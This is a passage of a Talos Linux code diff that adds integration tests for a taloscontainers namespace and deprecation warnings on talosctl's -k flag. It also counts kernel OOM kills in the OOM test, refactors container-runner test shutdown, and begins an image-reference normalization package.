{ + patch["args"] = args + } + + data, err := json.Marshal(patch) + suite.Require().NoError(err) + + suite.RunCLI( + []string{"patch", "--nodes", node, "--patch", string(data), "machineconfig", "--mode=no-reboot"}, + base.StdoutEmpty(), base.StderrNotEmpty(), + ) + + return func() { + removePatch := map[string]any{ + "apiVersion": "v1alpha1", + "kind": "ContainerConfig", + "name": name, + "$patch": "delete", + } + + data, err := json.Marshal(removePatch) + suite.Require().NoError(err) + + suite.RunCLI( + []string{"patch", "--nodes", node, "--patch", string(data), "machineconfig", "--mode=no-reboot"}, + base.StdoutEmpty(), base.StderrNotEmpty(), + ) + } +} + // ContainersSuite verifies dmesg command. type ContainersSuite struct { base.CLISuite @@ -34,12 +91,66 @@ func (suite *ContainersSuite) TestContainerd() { // TestCRI inspects containers via CRI driver. func (suite *ContainersSuite) TestCRI() { + suite.RunCLI( + []string{ + "containers", "--namespace", "cri", "--nodes", + suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane), + }, + base.StdoutShouldMatch(regexp.MustCompile(`kube-system/kube-apiserver`)), + ) +} + +// TestKubernetesFlagDeprecated covers the deprecated -k/--kubernetes alias: it still has to behave +// exactly like --namespace cri, and using it has to warn, not just silently keep working forever. +func (suite *ContainersSuite) TestKubernetesFlagDeprecated() { suite.RunCLI( []string{ "containers", "-k", "--nodes", suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane), }, base.StdoutShouldMatch(regexp.MustCompile(`kube-system/kube-apiserver`)), + base.StderrShouldMatch(regexp.MustCompile(`(?i)deprecated`)), + base.StderrShouldMatch(regexp.MustCompile(`--namespace cri`)), + ) +} + +// TestTalosContainers inspects a container declared via a ContainerConfig document, addressed through +// --namespace taloscontainers. +func (suite *ContainersSuite) TestTalosContainers() { + if testing.Short() { + suite.T().Skip("skipping in short mode") + } + + if suite.Airgapped { + suite.T().Skip("skipping test in airgapped mode, the test pulls an image") + } + + node := suite.RandomDiscoveredNodeInternalIP() + name := "talosctl-it-containers" + + cleanup := applyTalosContainer(&suite.CLISuite, node, name, images.DefaultSandboxImage, nil, nil) + defer cleanup() + + suite.RunAndWaitForMatch( + []string{"containers", "--namespace", constants.TalosContainersContainerdNamespace, "--nodes", node}, + regexp.MustCompile(name), + talosContainerStartTimeout, + ) +} + +// TestNamespaceFlagsMutuallyExclusive verifies that --kubernetes and --namespace are refused together +// by the actual binary, end to end with the unit-level check in namespace_test.go which only exercises +// cobra's flag-group validation directly. +func (suite *ContainersSuite) TestNamespaceFlagsMutuallyExclusive() { + suite.RunCLI( + []string{ + "containers", "--kubernetes", "--namespace", constants.TalosContainersContainerdNamespace, + "--nodes", suite.RandomDiscoveredNodeInternalIP(), + }, + base.ShouldFail(), + base.StdoutEmpty(), + base.StderrShouldMatch(regexp.MustCompile(`kubernetes`)), + base.StderrShouldMatch(regexp.MustCompile(`namespace`)), ) } diff --git a/internal/integration/cli/image.go b/internal/integration/cli/image.go index 0817206166b..f297284eebd 100644 --- a/internal/integration/cli/image.go +++ b/internal/integration/cli/image.go @@ -17,7 +17,9 @@ import ( "github.com/stretchr/testify/assert" "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/images" "github.com/siderolabs/talos/pkg/machinery/config/machine" + "github.com/siderolabs/talos/pkg/machinery/constants" "github.com/siderolabs/talos/pkg/machinery/version" ) @@ -206,6 +208,30 @@ func (suite *ImageSuite) TestCacheCreateFlat() { assert.DirExistsf(suite.T(), cacheDir+"/manifests", "manifests directory should exist in the image cache directory") } +// TestListTalosContainers verifies that the image pulled for a container declared via a +// ContainerConfig document is visible through --namespace taloscontainers. +func (suite *ImageSuite) TestListTalosContainers() { + if testing.Short() { + suite.T().Skip("skipping in short mode") + } + + if suite.Airgapped { + suite.T().Skip("skipping test in airgapped mode, the test pulls an image") + } + + node := suite.RandomDiscoveredNodeInternalIP() + name := "talosctl-it-image-list" + + cleanup := applyTalosContainer(&suite.CLISuite, node, name, images.DefaultSandboxImage, nil, nil) + defer cleanup() + + suite.RunAndWaitForMatch( + []string{"image", "list", "--namespace", constants.TalosContainersContainerdNamespace, "--nodes", node}, + regexp.MustCompile("pause"), + talosContainerStartTimeout, + ) +} + func init() { allSuites = append(allSuites, new(ImageSuite)) } diff --git a/internal/integration/cli/logs.go b/internal/integration/cli/logs.go index a279099330a..5a50b499b8f 100644 --- a/internal/integration/cli/logs.go +++ b/internal/integration/cli/logs.go @@ -7,13 +7,23 @@ package cli import ( + "bytes" "fmt" "regexp" "strings" + "testing" + "time" + + "github.com/siderolabs/go-retry/retry" "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/machinery/constants" ) +// talosContainerLogImage has a shell, which the pause image used for the other taloscontainers tests +// lacks, so it can be told to print something the test can look for in its logs. +const talosContainerLogImage = "docker.io/library/alpine:3.23" + // LogsSuite verifies logs command. type LogsSuite struct { base.CLISuite @@ -60,6 +70,67 @@ func (suite *LogsSuite) TestServiceNotFound() { ) } +// TestKubernetesFlagDeprecated covers the deprecated -k/--kubernetes alias reaching the CRI driver, and +// warning while it does. +// +// A nonexistent container id keeps this from depending on a specific pod being present, while still +// proving the request reached the CRI driver: the server's "not found" here is container-inspector +// text distinct from the ServiceLog "was not registered" text TestServiceNotFound checks for the +// system namespace, so a match confirms -k routed to the CRI path rather than falling back to system. +func (suite *LogsSuite) TestKubernetesFlagDeprecated() { + suite.RunCLI( + []string{"logs", "-k", "--nodes", suite.RandomDiscoveredNodeInternalIP(), "talosctl-it-nonexistent"}, + base.StdoutEmpty(), + base.ShouldFail(), + base.StderrShouldMatch(regexp.MustCompile(`(?i)deprecated`)), + base.StderrShouldMatch(regexp.MustCompile(`--namespace cri`)), + base.StderrShouldMatch(regexp.MustCompile(`not found`)), + ) +} + +// TestTalosContainerLogs verifies that logs for a container declared via a ContainerConfig document +// are readable through --namespace taloscontainers. +func (suite *LogsSuite) TestTalosContainerLogs() { + if testing.Short() { + suite.T().Skip("skipping in short mode") + } + + if suite.Airgapped { + suite.T().Skip("skipping test in airgapped mode, the test pulls an image") + } + + node := suite.RandomDiscoveredNodeInternalIP() + name := "talosctl-it-logs" + marker := "talosctl-it-logs-marker" + + cleanup := applyTalosContainer(&suite.CLISuite, node, name, talosContainerLogImage, + []string{"/bin/sh", "-c"}, []string{"echo " + marker}) + defer cleanup() + + args := suite.MakeCMDFn([]string{ + "logs", "--namespace", constants.TalosContainersContainerdNamespace, "--nodes", node, name, + }) + + // unlike containers/stats, logs errors out until the container's log buffer exists, so a plain + // command failure has to be retried too, not just a content mismatch. + suite.Require().NoError(retry.Constant(talosContainerStartTimeout, retry.WithUnits(time.Second)).Retry(func() error { + var stdout bytes.Buffer + + cmd := args() + cmd.Stdout = &stdout + + if err := cmd.Run(); err != nil { + return retry.ExpectedErrorf("logs command failed: %s", err) + } + + if !regexp.MustCompile(marker).MatchString(stdout.String()) { + return retry.ExpectedErrorf("stdout doesn't match %q: %q", marker, stdout.String()) + } + + return nil + })) +} + func init() { allSuites = append(allSuites, new(LogsSuite)) } diff --git a/internal/integration/cli/restart.go b/internal/integration/cli/restart.go index 89b857a332c..44486daf9b8 100644 --- a/internal/integration/cli/restart.go +++ b/internal/integration/cli/restart.go @@ -42,6 +42,25 @@ func (suite *RestartSuite) TestSystem() { suite.RunAndWaitForMatch([]string{"service", "-n", node, "trustd"}, regexp.MustCompile(`EVENTS\s+\[Running\]: Health check successful`), 30*time.Second) } +// TestKubernetesFlagDeprecated covers the deprecated -k/--kubernetes alias reaching the CRI driver, and +// warning while it does. +// +// A nonexistent container id avoids restarting a real Kubernetes workload container, while still +// proving the request reached the CRI driver via its "not found" response. +func (suite *RestartSuite) TestKubernetesFlagDeprecated() { + suite.RunCLI( + []string{ + "restart", "-k", "--nodes", suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane), + "talosctl-it-nonexistent", + }, + base.StdoutEmpty(), + base.ShouldFail(), + base.StderrShouldMatch(regexp.MustCompile(`(?i)deprecated`)), + base.StderrShouldMatch(regexp.MustCompile(`--namespace cri`)), + base.StderrShouldMatch(regexp.MustCompile(`not found`)), + ) +} + func init() { allSuites = append(allSuites, new(RestartSuite)) } diff --git a/internal/integration/cli/stats.go b/internal/integration/cli/stats.go index 6075b351e34..4fab06b4bcd 100644 --- a/internal/integration/cli/stats.go +++ b/internal/integration/cli/stats.go @@ -8,9 +8,12 @@ package cli import ( "regexp" + "testing" "github.com/siderolabs/talos/internal/integration/base" + "github.com/siderolabs/talos/pkg/images" "github.com/siderolabs/talos/pkg/machinery/config/machine" + "github.com/siderolabs/talos/pkg/machinery/constants" ) // StatsSuite verifies dmesg command. @@ -35,13 +38,53 @@ func (suite *StatsSuite) TestContainerd() { // TestCRI inspects stats via CRI driver. func (suite *StatsSuite) TestCRI() { suite.RunCLI( - []string{"stats", "-k", "--nodes", suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane)}, + []string{"stats", "--namespace", "cri", "--nodes", suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane)}, base.StdoutShouldMatch(regexp.MustCompile(`CPU`)), base.StdoutShouldMatch(regexp.MustCompile(`kube-system/kube-apiserver`)), base.StdoutShouldMatch(regexp.MustCompile(`k8s.io`)), ) } +// TestKubernetesFlagDeprecated covers the deprecated -k/--kubernetes alias: it still has to behave +// exactly like --namespace cri, and using it has to warn, not just silently keep working forever. +func (suite *StatsSuite) TestKubernetesFlagDeprecated() { + suite.RunCLI( + []string{"stats", "-k", "--nodes", suite.RandomDiscoveredNodeInternalIP(machine.TypeControlPlane)}, + base.StdoutShouldMatch(regexp.MustCompile(`CPU`)), + base.StdoutShouldMatch(regexp.MustCompile(`kube-system/kube-apiserver`)), + base.StderrShouldMatch(regexp.MustCompile(`(?i)deprecated`)), + base.StderrShouldMatch(regexp.MustCompile(`--namespace cri`)), + ) +} + +// TestTalosContainers inspects stats for a container declared via a ContainerConfig document, +// addressed through --namespace taloscontainers. +func (suite *StatsSuite) TestTalosContainers() { + if testing.Short() { + suite.T().Skip("skipping in short mode") + } + + if suite.Airgapped { + suite.T().Skip("skipping test in airgapped mode, the test pulls an image") + } + + node := suite.RandomDiscoveredNodeInternalIP() + name := "talosctl-it-stats" + + cleanup := applyTalosContainer(&suite.CLISuite, node, name, images.DefaultSandboxImage, nil, nil) + defer cleanup() + + suite.RunAndWaitForMatch( + []string{"stats", "--namespace", constants.TalosContainersContainerdNamespace, "--nodes", node}, + regexp.MustCompile(name), + talosContainerStartTimeout, + ) + suite.RunCLI( + []string{"stats", "--namespace", constants.TalosContainersContainerdNamespace, "--nodes", node}, + base.StdoutShouldMatch(regexp.MustCompile(`CPU`)), + ) +} + func init() { allSuites = append(allSuites, new(StatsSuite)) } diff --git a/internal/integration/integration_test.go b/internal/integration/integration_test.go index 16b9bc783d7..a28b62faa63 100644 --- a/internal/integration/integration_test.go +++ b/internal/integration/integration_test.go @@ -38,6 +38,7 @@ var ( trustedBoot bool selinuxEnforcing bool extensionsQEMU bool + extensionsLibvirt bool extensionsNvidia bool bgpEnabled bool bgpCLOSEnabled bool @@ -134,6 +135,7 @@ func TestIntegration(t *testing.T) { HelmPath: helmPath, KubeStrPath: kubeStrPath, ExtensionsQEMU: extensionsQEMU, + ExtensionsLibvirt: extensionsLibvirt, ExtensionsNvidia: extensionsNvidia, BGPEnabled: bgpEnabled, BGPCLOSEnabled: bgpCLOSEnabled, @@ -181,6 +183,7 @@ func init() { flag.BoolVar(&trustedBoot, "talos.trustedboot", false, "enable tests for trusted boot mode") flag.BoolVar(&selinuxEnforcing, "talos.enforcing", false, "enable tests for SELinux enforcing mode") flag.BoolVar(&extensionsQEMU, "talos.extensions.qemu", false, "enable tests for qemu extensions") + flag.BoolVar(&extensionsLibvirt, "talos.extensions.libvirt", false, "enable tests for libvirt extensions") flag.BoolVar(&extensionsNvidia, "talos.extensions.nvidia", false, "enable tests for nvidia extensions") flag.BoolVar(&bgpEnabled, "talos.bgp", false, "enable tests for native BGP (requires a cluster created with --with-bgp)") flag.BoolVar(&bgpCLOSEnabled, "talos.bgp.clos", false, "enable the full-CLOS BGP test (requires a cluster created with --with-bgp-clos)") diff --git a/internal/integration/k8s/oom.go b/internal/integration/k8s/oom.go index f59fbbf3869..41d02087496 100644 --- a/internal/integration/k8s/oom.go +++ b/internal/integration/k8s/oom.go @@ -9,7 +9,13 @@ package k8s import ( "context" _ "embed" + "errors" + "fmt" + "io" + "maps" + "strconv" "strings" + "sync" "testing" "time" @@ -56,8 +62,9 @@ func (suite *OomSuite) TestOom() { suite.T().Skip("skipping OOM test since provisioner is not qemu") } - // overarching timeout should be longer than the sum of all timeouts in the test - ctx, cancel := context.WithTimeout(context.Background(), 7*time.Minute) + // overarching timeout should be longer than the sum of all timeouts in the test, + // with enough slack for the cluster health check at the end + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute) suite.T().Cleanup(cancel) oomPodManifest := suite.ParseManifests(oomPodSpec) @@ -112,7 +119,8 @@ func (suite *OomSuite) TestOom() { // Scale to discovered number of replicas suite.PatchK8sObject(ctx, "default", "apps", "Deployment", "v1", "stress-mem", patchToReplicas(suite.T(), numReplicas)) - // Expect at least one OOM kill of stress-ng within 15 seconds + // Expect at least one OOM kill of stress-ng within 15 seconds, either by the Talos + // userspace OOM handler, or by the kernel OOM killer suite.Assert().True(suite.waitForOOMKilled(ctx, 15*time.Second, 2*time.Minute, "stress-ng", 1, false)) // Scale to 1, wait for deployment to scale down, proving system is operational @@ -141,12 +149,24 @@ func patchToReplicas(t *testing.T, replicas int) []byte { return patch } -// waitForOOMKilled waits for OOM events containing the specified process substring. +// kernelOOMReadTimeout bounds a single read of the kernel OOM kill counter. // -// It returns true if at least n matching events are observed within the observation -// period or before the timeout expires. If a non-matching OOM kill is observed, it -// returns false immediately when allowNotMatchingKills is false; otherwise, such -// events are ignored. +// A node under heavy memory pressure might be slow to respond or not respond at all, and the +// test should never block on it: the counters are a best-effort signal. +const kernelOOMReadTimeout = 5 * time.Second + +// waitForOOMKilled waits for OOM kills to be observed on the worker nodes. +// +// Two independent sources are counted and reported separately: +// - userspace OOM kills performed by the Talos OOM handler (OOMAction resources) which +// contain the specified process substring; +// - kernel OOM kills, as reported by the `oom_kill` counter in /proc/vmstat, summed over +// all worker nodes (the kernel counter is not process-specific). +// +// It returns true if at least n kills from either source are observed within the observation +// period or before the timeout expires. If a non-matching userspace OOM kill is observed, it +// returns false immediately when allowNotMatchingKills is false; otherwise, such events are +// ignored. // //nolint:gocyclo func (suite *OomSuite) waitForOOMKilled(ctx context.Context, timeToObserve, timeout time.Duration, substr string, n int, allowNotMatchingKills bool) bool { @@ -155,9 +175,16 @@ func (suite *OomSuite) waitForOOMKilled(ctx context.Context, timeToObserve, time watchCh := make(chan state.Event) workerNodes := suite.DiscoverNodeInternalIPsByType(ctx, machine.TypeWorker) + // reads of the kernel counters should outlive the watch context below, as the last read + // happens once the observation window is over + readCtx := ctx + ctx, cancel := context.WithTimeout(ctx, timeout) defer cancel() + // baseline for the kernel OOM kill counters, so that only the kills happening from now on are counted + kernelOOM := suite.newKernelOOMTracker(readCtx, workerNodes) + // start watching OOM events on all worker nodes for _, workerNode := range workerNodes { suite.Assert().NoError(suite.Client.COSI.WatchKind( @@ -169,18 +196,42 @@ func (suite *OomSuite) waitForOOMKilled(ctx context.Context, timeToObserve, time timeoutCh := time.After(timeout) timeToObserveCh := time.After(timeToObserve) - numOOMObserved := 0 + + // the kernel counters are not exposed as an event stream, so they have to be polled + kernelPollTicker := time.NewTicker(time.Second) + defer kernelPollTicker.Stop() + + numOOMObserved, numKernelOOMObserved := 0, 0 + + report := func() { + suite.T().Logf("observed %d userspace OOM events containing process substring %q, and %d kernel OOM kills", + numOOMObserved, substr, numKernelOOMObserved) + } for { select { case <-timeoutCh: - suite.T().Logf("observed %d OOM events containing process substring %q", numOOMObserved, substr) + numKernelOOMObserved = kernelOOM.poll(readCtx) - return numOOMObserved >= n + report() + + return numOOMObserved >= n || numKernelOOMObserved >= n + case <-kernelPollTicker.C: + numKernelOOMObserved = kernelOOM.poll(readCtx) + + // don't bail out early when n is zero, as in that case the point is to observe + // the whole period and report what happened + if n > 0 && numKernelOOMObserved >= n { + report() + + return true + } case <-timeToObserveCh: - if numOOMObserved >= n { - // if we already observed some OOM events, consider it a success - suite.T().Logf("observed %d OOM events containing process substring %q", numOOMObserved, substr) + numKernelOOMObserved = kernelOOM.poll(readCtx) + + if numOOMObserved >= n || numKernelOOMObserved >= n { + // if we already observed enough OOM kills, consider it a success + report() return true } @@ -191,34 +242,28 @@ func (suite *OomSuite) waitForOOMKilled(ctx context.Context, timeToObserve, time res := ev.Resource.(*runtime.OOMAction).TypedSpec() - bailOut := false - - for _, proc := range res.Processes { - if strings.Contains(proc, substr) { - numOOMObserved++ + matched, bailOut := matchOOMActionProcesses(res.Processes, substr) - if numOOMObserved >= n { - // if we already observed enough OOM events, consider it a success - suite.T().Logf("observed %d OOM events containing process substring %q", numOOMObserved, substr) + if matched { + numOOMObserved++ - return true - } - - break - } + if numOOMObserved >= n { + // if we already observed enough OOM events, consider it a success + report() - // Sometimes OOM catches containers in restart phase (while the - // cgroup has previously accumulated OOM score). - // Consider an OOM event wrong if something other than that is found. - if !strings.Contains(proc, "runc init") && !strings.Contains(proc, "/pause") && proc != "" { - bailOut = true + return true } } if bailOut { - suite.T().Logf("observed an OOM event not containing process substring %q: %v (%d containing, ignoring it: %v)", substr, res.Processes, numOOMObserved, allowNotMatchingKills) + // the kernel OOM killer might have been the one doing the killing here, + // so refresh its counters before declaring a failure + numKernelOOMObserved = kernelOOM.poll(readCtx) - if !allowNotMatchingKills { + suite.T().Logf("observed an OOM event not containing process substring %q: %v (%d containing, %d kernel OOM kills, ignoring it: %v)", + substr, res.Processes, numOOMObserved, numKernelOOMObserved, allowNotMatchingKills) + + if !allowNotMatchingKills && numKernelOOMObserved < n { return false } } @@ -226,6 +271,138 @@ func (suite *OomSuite) waitForOOMKilled(ctx context.Context, timeToObserve, time } } +// matchOOMActionProcesses inspects the processes killed in a single userspace OOM event. +// +// It reports whether the event contains a process matching substr, and whether it contains +// a process which is not expected to be killed at all. +func matchOOMActionProcesses(processes []string, substr string) (matched, bailOut bool) { + for _, proc := range processes { + if strings.Contains(proc, substr) { + return true, bailOut + } + + // Sometimes OOM catches containers in restart phase (while the + // cgroup has previously accumulated OOM score). + // Consider an OOM event wrong if something other than that is found. + if !strings.Contains(proc, "runc init") && !strings.Contains(proc, "/pause") && proc != "" { + bailOut = true + } + } + + return false, bailOut +} + +// kernelOOMTracker tracks the number of kernel OOM kills across the worker nodes. +// +// Reads are best-effort: a node which fails to report its counter (which is likely, as the node +// is under memory pressure) keeps its last known value, so that the number of kills observed +// never goes down. +type kernelOOMTracker struct { + suite *OomSuite + nodes []string + baseline map[string]int + latest map[string]int +} + +// newKernelOOMTracker captures the baseline of the kernel OOM kill counters. +func (suite *OomSuite) newKernelOOMTracker(ctx context.Context, nodes []string) *kernelOOMTracker { + baseline := suite.readKernelOOMCounters(ctx, nodes) + + return &kernelOOMTracker{ + suite: suite, + nodes: nodes, + baseline: baseline, + latest: maps.Clone(baseline), + } +} + +// poll refreshes the counters, returning the total number of kills observed since the baseline. +func (tracker *kernelOOMTracker) poll(ctx context.Context) int { + for node, count := range tracker.suite.readKernelOOMCounters(ctx, tracker.nodes) { + // a node without a baseline can't be counted, as the number of kills can't be established + if _, ok := tracker.baseline[node]; ok { + tracker.latest[node] = count + } + } + + var total int + + for node, count := range tracker.latest { + total += count - tracker.baseline[node] + } + + return total +} + +// readKernelOOMCounters reads the cumulative kernel OOM kill counter from each node in parallel. +// +// Every read is bounded by kernelOOMReadTimeout, and nodes which fail to answer are skipped +// (with a log message) instead of failing the test. +func (suite *OomSuite) readKernelOOMCounters(ctx context.Context, nodes []string) map[string]int { + ctx, cancel := context.WithTimeout(ctx, kernelOOMReadTimeout) + defer cancel() + + counts := make([]int, len(nodes)) + errs := make([]error, len(nodes)) + + var wg sync.WaitGroup + + for i, node := range nodes { + wg.Go(func() { + counts[i], errs[i] = suite.readKernelOOMCounter(client.WithNode(ctx, node)) + }) + } + + wg.Wait() + + counters := make(map[string]int, len(nodes)) + + // the results are processed here (and not in the goroutines above) to keep the logging + // on the goroutine running the test + for i, node := range nodes { + if errs[i] != nil { + suite.T().Logf("failed to read kernel OOM kill counter from %s: %v", node, errs[i]) + + continue + } + + counters[node] = counts[i] + } + + return counters +} + +// readKernelOOMCounter reads the `oom_kill` counter from /proc/vmstat on a single node. +func (suite *OomSuite) readKernelOOMCounter(nodeCtx context.Context) (int, error) { + reader, err := suite.Client.Read(nodeCtx, "/proc/vmstat") + if err != nil { + return 0, err + } + + defer reader.Close() //nolint:errcheck + + contents, err := io.ReadAll(reader) + if err != nil { + return 0, err + } + + for line := range strings.Lines(string(contents)) { + value, ok := strings.CutPrefix(strings.TrimSpace(line), "oom_kill ") + if !ok { + continue + } + + count, err := strconv.Atoi(strings.TrimSpace(value)) + if err != nil { + return 0, fmt.Errorf("failed to parse %q from /proc/vmstat: %w", line, err) + } + + return count, nil + } + + return 0, errors.New("oom_kill counter not found in /proc/vmstat") +} + func init() { allSuites = append(allSuites, new(OomSuite)) } diff --git a/internal/pkg/cgroup/cgroup.go b/internal/pkg/cgroup/cgroup.go index 24636a8e06b..fb2c2e1a270 100644 --- a/internal/pkg/cgroup/cgroup.go +++ b/internal/pkg/cgroup/cgroup.go @@ -230,6 +230,14 @@ func getCgroupV2Resources(name string) *cgroup2.Resources { Weight: new(MillicoresToCPUWeight(MilliCores(constants.CgroupSystemSandboxMillicores))), }, } + case constants.CgroupTalosContainersRoot: + // No memory reservation at the root: these are user workloads, not a reserved system + // component. Per-container limits are applied directly by the container runtime controller. + return &cgroup2.Resources{ + CPU: &cgroup2.CPU{ + Weight: new(MillicoresToCPUWeight(MilliCores(constants.CgroupTalosContainersMillicores))), + }, + } } return &cgroup2.Resources{} @@ -237,8 +245,11 @@ func getCgroupV2Resources(name string) *cgroup2.Resources { // CreateCgroup creates a cgroup, with resources limits if configured and supported. func CreateCgroup(name string) (CommonCgroup, error) { - resources := getCgroupV2Resources(name) + return CreateCgroupWithResources(name, getCgroupV2Resources(name)) +} +// CreateCgroupWithResources creates a cgroup with the given resource limits, if supported. +func CreateCgroupWithResources(name string, resources *cgroup2.Resources) (CommonCgroup, error) { if containermode.InContainer() { // don't attempt to set resources in container mode, as they might conflict with the parent cgroup tree resources = &cgroup2.Resources{} diff --git a/internal/pkg/containers/containerd/containerd_test.go b/internal/pkg/containers/containerd/containerd_test.go index 8cc4c6b02cf..1622798b9a8 100644 --- a/internal/pkg/containers/containerd/containerd_test.go +++ b/internal/pkg/containers/containerd/containerd_test.go @@ -40,10 +40,6 @@ const ( func MockEventSink(state events.ServiceState, message string, args ...any) { } -func MockPidRecorder(serviceName string, pid int32, clearEntry bool) error { - return nil -} - type ContainerdSuite struct { suite.Suite @@ -53,6 +49,8 @@ type ContainerdSuite struct { containerdNamespace string containerdRunner runner.Runner + runnerCtx context.Context //nolint:containedctx + runnerCancel context.CancelFunc containerdWg sync.WaitGroup containerdAddress string @@ -63,6 +61,8 @@ type ContainerdSuite struct { containerRunners []runner.Runner containersWg sync.WaitGroup + containersCtx context.Context //nolint:containedctx + containersCancel context.CancelFunc } func (suite *ContainerdSuite) SetupSuite() { @@ -122,12 +122,14 @@ func (suite *ContainerdSuite) SetupSuite() { runner.WithEnv([]string{constants.EnvPathWithBin}), runner.WithCgroupPath(suite.tmpDir), ) + suite.runnerCtx, suite.runnerCancel = context.WithCancel(context.Background()) + suite.Require().NoError(suite.containerdRunner.Open()) suite.containerdWg.Go(func() { defer suite.containerdRunner.Close() //nolint:errcheck - suite.containerdRunner.Run(MockEventSink, MockPidRecorder) //nolint:errcheck + suite.containerdRunner.Run(suite.runnerCtx, MockEventSink, nil) //nolint:errcheck }) suite.client, err = containerd.New(suite.containerdAddress) @@ -145,13 +147,17 @@ func (suite *ContainerdSuite) SetupSuite() { func (suite *ContainerdSuite) TearDownSuite() { suite.Require().NoError(suite.client.Close()) - suite.Require().NoError(suite.containerdRunner.Stop()) + suite.runnerCancel() suite.containerdWg.Wait() } func (suite *ContainerdSuite) SetupTest() { suite.containerRunners = nil suite.containerID = uuid.New().String() + + // One context per test for every container it starts; canceling it in TearDownTest is what stops + // them. + suite.containersCtx, suite.containersCancel = context.WithCancel(context.Background()) } func (suite *ContainerdSuite) run(runners ...runner.Runner) { @@ -174,7 +180,9 @@ func (suite *ContainerdSuite) run(runners ...runner.Runner) { defer func() { runningCh <- false }() defer suite.containersWg.Done() - suite.Require().NoError(r.Run(runningSink, MockPidRecorder)) + _, runErr := r.Run(suite.containersCtx, runningSink, nil) + + suite.Require().NoError(runErr) }(r) } @@ -186,9 +194,8 @@ func (suite *ContainerdSuite) run(runners ...runner.Runner) { } func (suite *ContainerdSuite) TearDownTest() { - for _, r := range suite.containerRunners { - suite.Assert().NoError(r.Stop()) - } + // Canceling the shared context is the stop signal for every container runner. + suite.containersCancel() suite.containersWg.Wait() diff --git a/internal/pkg/containers/cri/cri_test.go b/internal/pkg/containers/cri/cri_test.go index 8d24b768e51..cb8ab2b45c8 100644 --- a/internal/pkg/containers/cri/cri_test.go +++ b/internal/pkg/containers/cri/cri_test.go @@ -40,16 +40,14 @@ const ( func MockEventSink(state events.ServiceState, message string, args ...any) { } -func MockPidRecorder(serviceName string, pid int32, clearEntry bool) error { - return nil -} - type CRISuite struct { suite.Suite tmpDir string containerdRunner runner.Runner + runnerCtx context.Context //nolint:containedctx + runnerCancel context.CancelFunc containerdWg sync.WaitGroup containerdAddress string @@ -117,12 +115,14 @@ func (suite *CRISuite) SetupSuite() { runner.WithEnv([]string{constants.EnvPathWithBin}), runner.WithCgroupPath(suite.tmpDir), ) + suite.runnerCtx, suite.runnerCancel = context.WithCancel(context.Background()) + suite.Require().NoError(suite.containerdRunner.Open()) suite.containerdWg.Go(func() { defer suite.containerdRunner.Close() //nolint:errcheck - suite.containerdRunner.Run(MockEventSink, MockPidRecorder) //nolint:errcheck + suite.containerdRunner.Run(suite.runnerCtx, MockEventSink, nil) //nolint:errcheck }) suite.client, err = criclient.NewClient("unix:"+suite.containerdAddress, 30*time.Second) @@ -140,7 +140,7 @@ func (suite *CRISuite) TearDownSuite() { suite.Require().NoError(suite.client.Close()) - suite.Require().NoError(suite.containerdRunner.Stop()) + suite.runnerCancel() suite.containerdWg.Wait() } diff --git a/internal/pkg/containers/image/imageref/imageref.go b/internal/pkg/containers/image/imageref/imageref.go new file mode 100644 index 00000000000..0cd26054348 --- /dev/null +++ b/internal/pkg/containers/image/imageref/imageref.go @@ -0,0 +1,157 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +// Package imageref provides canonical normalization of container image references. +// +// Talos parses an image reference in several places on a single pull: to match it against the +// image verification policy, to look up the registry mirror, auth and TLS configuration, and to +// hand it to containerd for the actual pull. All of those have to agree on a single spelling of +// the reference, otherwise the policy decision can be made about one image while a different one +// is pulled. +package imageref + +import ( + "fmt" + "strings" + + "github.com/distribution/reference" +) + +const ( + // dockerHubDomain is the canonical Docker Hub domain as produced by + // github.com/distribution/reference and understood by containerd. + dockerHubDomain = "docker.io" + + // legacyDockerHubDomain is the legacy Docker Hub domain. It is also the spelling + // github.com/google/go-containerregistry canonicalizes Docker Hub to, so references and + // patterns do show up written this way. + legacyDockerHubDomain = "index.docker.io" + + // endpointDockerHubDomain is the Docker Hub registry endpoint, the host `docker.io` is an + // alias for (see containerd's docker.DefaultHost). A reference written this way points at + // the very same image as one written against `docker.io`. + endpointDockerHubDomain = "registry-1.docker.io" + + // officialRepoPrefix is the implicit namespace of the official Docker Hub images. + officialRepoPrefix = "library/" + + // localhostDomain is always a registry domain, never a repository namespace. + localhostDomain = "localhost" +) + +// Parse parses a container image reference and returns it in the canonical form used throughout +// Talos. +// +// On top of the normalization done by github.com/distribution/reference (defaulting the domain, +// adding the implicit `library/` namespace on Docker Hub, defaulting the tag to `latest` and +// dropping the tag from a reference carrying both a tag and a digest), the registry domain is +// lower-cased, as registry domains are DNS names and DNS is case-insensitive, and the alternative +// spellings of the Docker Hub domain, `index.docker.io` and `registry-1.docker.io`, are folded +// into `docker.io`. +// +// Normalization is idempotent: parsing the result again yields the same reference. +func Parse(imageRef string) (reference.Named, error) { + namedRef, err := reference.ParseDockerRef(imageRef) + if err != nil { + return nil, err + } + + domain := reference.Domain(namedRef) + + normalizedDomain := normalizeDomain(domain) + if normalizedDomain == domain { + return namedRef, nil + } + + if !isExplicitDomain(normalizedDomain) { + // A single-label component is taken for a registry domain only because it is not + // lower-case: lower-casing it would turn the registry into a Docker Hub namespace and + // point the reference at a completely different image, so reject it instead. + return nil, fmt.Errorf("invalid reference format: registry domain %q must be lowercase", domain) + } + + path := reference.Path(namedRef) + + // the implicit `library/` namespace applies once the domain is folded into `docker.io`, + // e.g. `INDEX.DOCKER.IO/alpine` is `docker.io/library/alpine` + if normalizedDomain == dockerHubDomain && !strings.ContainsRune(path, '/') { + path = officialRepoPrefix + path + } + + // build the reference explicitly rather than re-parsing the normalized string: re-parsing + // would re-run the domain/repository heuristics, which are case-sensitive + trimmedRef, err := reference.WithName(normalizedDomain + "/" + path) + if err != nil { + return nil, err + } + + switch ref := namedRef.(type) { + case reference.Canonical: + return reference.WithDigest(trimmedRef, ref.Digest()) + case reference.NamedTagged: + return reference.WithTag(trimmedRef, ref.Tag()) + default: + return trimmedRef, nil + } +} + +// RepositoryKey returns the canonical `/` form of the reference, with the +// tag and the digest 